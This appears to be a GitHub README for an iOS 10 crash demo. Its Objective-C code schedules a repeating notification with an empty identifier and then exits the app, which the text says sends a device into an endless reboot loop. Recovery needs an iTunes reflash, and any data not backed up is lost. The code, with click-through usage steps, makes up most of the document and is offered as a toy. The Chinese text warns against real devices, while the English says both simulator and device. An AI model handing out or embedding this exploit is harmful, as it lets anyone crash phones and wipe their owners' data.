iOS10-Bug-Demo
让iOS系统崩溃无限黑屏重启,这里分享一下Demo,建议在虚拟机跑,无限重启后选择虚拟机reset content and settings就可以恢复。
友情提示:别在真机跑,不然真机也会无限重启,只能通过iTunes调试模式重新刷机恢复,数据未备份会全部丢失。
觉得好玩顺手点一个star,前期说谢谢啦。
--- 使用方法: ============== 1.点击准备按钮,同意app发送通知。
2.点击开始按钮,app崩溃,设备无限黑屏重启。
--- English ============== Let ios10 crash and restart by circle. You can try it both on simulator and device.
Tip: If you run it on device, you can only reinstall the system with iTunes.
1.Click ready button, allow app authorization.
2.Click start button, app clash, and device restart again and again.
--- Code ============== ```objective-c UNMutableNotificationContent *content = [[UNMutableNotificationContent alloc] init]; content.badge = @2; content.body = @"body"; content.sound = [UNNotificationSound defaultSound]; content.subtitle = @"subtitle"; content.title = @"title";
NSDate *date = [NSDate new];
NSDateFormatter *formatter = [NSDateFormatter new];
[formatter setDateFormat:@"yyyy"];
NSInteger currentYear=[[formatter stringFromDate:date] integerValue];
[formatter setDateFormat:@"MM"];
NSInteger currentMonth=[[formatter stringFromDate:date]integerValue];
[formatter setDateFormat:@"dd"];
NSInteger currentDay=[[formatter stringFromDate:date] integerValue];
[formatter setDateFormat:@"HH"];
NSInteger currentHour=[[formatter stringFromDate:date] integerValue];
[formatter setDateFormat:@"mm"];
NSInteger currentMinute=[[formatter stringFromDate:date] integerValue];
[formatter setDateFormat:@"ss"];
NSInteger currentSecond=[[formatter stringFromDate:date] integerValue];
if (currentSecond + 2 > 59) {
currentMinute = currentMinute + 1;
currentSecond = 0;
} else {
currentSecond = currentSecond + 2;
}
NSDateComponents *components = [NSDateComponents new];
components.year = currentYear;
components.month = currentMonth;
components.day = currentDay;
components.hour = currentHour;
components.minute = currentMinute;
components.second = currentSecond;
UNCalendarNotificationTrigger *trigger = [UNCalendarNotificationTrigger triggerWithDateMatchingComponents:components repeats:YES];
UNNotificationRequest *request = [UNNotificationRequest requestWithIdentifier:@"" content:content trigger:trigger];
[[UNUserNotificationCenter currentNotificationCenter] addNotificationRequest:request withCompletionHandler:^(NSError * _Nullable error) {
exit(0);
}];